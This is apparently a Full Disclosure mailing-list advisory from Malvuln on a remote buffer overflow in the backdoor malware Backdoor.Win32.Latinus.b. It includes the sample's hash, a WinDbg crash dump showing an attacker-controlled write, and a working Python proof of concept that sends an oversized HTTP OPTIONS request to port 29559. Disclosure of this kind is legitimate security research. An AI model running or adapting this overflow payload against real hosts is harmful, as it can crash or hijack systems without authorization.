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Date: Fri, 15 Jan 2021 20:28:31 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Latinus.b / Remote Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9adffcc98cd658a7f9c5419480013f72.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Latinus.b
Vulnerability: Remote Buffer Overflow
Description: Malware listens on both TCP ports 11831 and 29559, by
sending an HTTP OPTIONS request with about 8945 bytes we trigger
buffer overflow and overwriting stack registers.
Type: PE32
MD5: 9adffcc98cd658a7f9c5419480013f72
Vuln ID: MVID-2021-0029
Dropped files: msHtml.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021

Memory Dump:
EAX : 41414141
EBX : 040C91C0
ECX : 41414141
EDX : 040C7020
EBP : 0046B614     mshtml.0046B614
ESP : 000A1494
ESI : 00000014
EDI : 0046B610     mshtml.0046B610
EIP : 00401C78     mshtml.00401C78

This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1534.17c0): Access violation - code c0000005 (first/second chance not
available)
eax=41414141 ebx=04138948 ecx=41414141 edx=41414141 esi=00000014 edi=0046b610
eip=00401c76 esp=000a1644 ebp=0046b614 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** WARNING: Unable to verify checksum for msHtml.exe
*** ERROR: Module load completed but symbols could not be loaded for msHtml.exe
msHtml+0x1c76:
00401c76 8902            mov     dword ptr [edx],eax  ds:002b:41414141=????????


0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
msHtml+1c76
00401c76 8902            mov     dword ptr [edx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401c76 (msHtml+0x00001c76)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 41414141
Attempt to write to address 41414141

PROCESS_NAME:  msHtml.exe

OVERLAPPED_MODULE: Address regions for 'comctl32_72d50000' and
'dataexchange.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
msHtml+1c76
00401c76 8902            mov     dword ptr [edx],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000017c0

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

IP_ON_HEAP:  04144b5c
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 04144b5c to 00401c76

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0046b614 04144b5c 027b87b0 027b9da4 027b9da4 msHtml+0x1c76
0046b618 027b87b0 027b9da4 027b9da4 00000000 0x4144b5c
0046b61c 027b9da4 027b9da4 00000000 00000000 0x27b87b0
0046b620 027b9da4 00000000 00000000 00000000 0x27b9da4
0046b624 00000000 00000000 00000000 0019ff74 0x27b9da4


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  msHtml+1c76

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: msHtml

IMAGE_NAME:  msHtml.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

FAILURE_BUCKET_ID:
STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msHtml.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_msHtml+1c76


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=29559

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    PAYLOAD="OPTIONS /"+"A"*8945+ " HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PAYLOAD)
    s.close()
    print("Backdoor.Win32.Latinus.b / Remote Buffer Overflow ")
    print("MD5: 9adffcc98cd658a7f9c5419480013f72")
    print("By Malvuln")

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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